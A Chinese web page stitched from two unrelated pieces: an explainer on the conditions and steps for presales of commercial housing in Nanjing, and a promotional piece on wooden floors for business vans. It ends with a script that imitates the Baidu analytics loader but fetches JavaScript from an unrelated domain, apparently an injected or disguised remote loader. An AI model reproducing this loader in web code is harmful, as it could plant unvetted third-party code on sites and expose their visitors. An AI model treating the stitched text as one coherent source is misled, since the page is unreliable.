南京商品房预售条件和步骤有哪些?

商品房预售是现在很多开发商都会采取的销售形式，主要是为了筹集建设资金。那么，2016年商品房预售有哪些条件?开发商满足哪些条件才能进行商品房预售?商品房预售的步骤有哪些?下面小编为大家介绍南京商品房预售条件和步骤!一、南京商品房预售条件及步骤房屋预售虽然是一种可行的销售方式，但如果管理不善，极易导致投机行为，损害消费者的正当权益。为此，《中华人民共和国城市房地产管理法》(以下全书简称《城市房地产管理法》)专门对房屋预售的条件作出了规定。根据该法第四十四条第一款的规定，房屋预售应当符合下列条件：第一，已交付全部土地使用权出让金，取得土地使用权证书。此项规定是商品房预售的基础。因为只有土地使用权是合法的，在土地上所建的房屋才能合法地进入流通领域，从而达到预售的目的。第二，持有建设工程规划许可证。此项规定是房屋开工建设的前提。城市任何建设项目都得置于城市的总体规划之下，房屋建设也不例外。房地产开发企业只有在其建设项目符合城市规划，领取建设工程规划许可证后才能开工建设。第三，按提供预售的房屋计算，投入开发建设的资金达到工程建设总投资的25%以上，并已经确定施工进度和竣工交付日期。此项规定是房屋预售的关键性问题。第四，向县级以上人民政府房产管理部门办理预售登记，取得商品房预售许可证明。二、南京房屋预售一般应经过以下步骤第一，预售人领取土地使用证、建设工程规划许可证;第二，预售人办理预售登记，领取预售许可证;第三，预售人同预购人签订商品房预售合同;第四，预售合同登记备案;第五，房屋交付后，办理产权登记。三、南京商品房预售应当符合下列条件：(一)已交付全部土地使用权出让金，取得土地使用权证书;(二)持有建设工程规划许可证和施工许可证;(三)按提供预售的商品房计算，投入开发建设的资金达到工程建设总投资的25%以上，并已经确定施工进度和竣工交付日期;(四)取得商品房预售许可证。依据《城市商品房预售管理办法》的规定，商品房预售实行许可证制度。房地产开发企业在具备前三个条件的情况下，向市、县人民政府建设行政主管部门或房地产行政主管理部门申请《商品房预售许可证》，取得《商品房预售许可证》。未取得者，不得进行商品房预售活动。以上就是小编为大家整理的商品房预售条件的相关内容，希望对大家有所帮助。在购买商品房时不仅仅需要注意预售条件，还要注意如何确定商品房预售效力，商品房买卖违约要承担什么责任?了解这些能够对购房者有着更大的帮助。

为什么商务车内铺木地板？有哪些优点？

说到这，其实很多人都有疑虑，木地板是不是全都铺在家里？为什么还要在商务车内铺木地板呢？但如今，越来越多的企业主选择在他们的汽车中引入各种豪华和高品质的木地板。那么在车内铺木地板到底有什么优点呢？显然，车内铺木地板使得多功能车更加有序，档次更高！无论是商务接待还是家庭用途，车主都很有面子！同时，车内铺木地板更容易维护车。每个人都知道原车垫的一些残留物难以清洁，也就是说，很难用吸尘器清洁。铺木地板后，只需要湿毛巾擦拭它，更容易处理！此外，与传统的搁脚板相比，商用车的木地板是耐用的。地板基本上铺设一次之后不用再次更换。但是一到两年后必须更换搁脚板，车内铺木地板地板更经济，更省心！但是在选择商务车木地板时应该注意什么呢？许多不专业的地方使用质量很不好的地板以次充好，而且还会用一些成品地板去铺车，虽然成型地板安装方便，但问题是，它很薄，硬度非常不够，有些只是简单把它放在最上面，它根本不属于固定方法。时间长了，它会倾斜，变形和松动。很多车主都被欺骗了，没有办法花钱买教训吧！后来，他们意识到有必要给装修师傅很长的时间来实际修改汽车的木地板。工作缓慢，但是工作的结果会很好。汽车内铺木地板也必须像家里一样作为一件家具布置，并且必须铺牢固。不要图一时的方便，要不然以后会很麻烦。这种类型的木地板铺出来才会更有面儿！现在常用的车内铺木地板有游艇柚木地板和游艇实木地板。如果条件允许，建议使用柚木。柚木毕竟是万亩之王。木材本身具有明显的优点：防水，防潮，防霉，不易变形。这确实是地板的首选材料！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();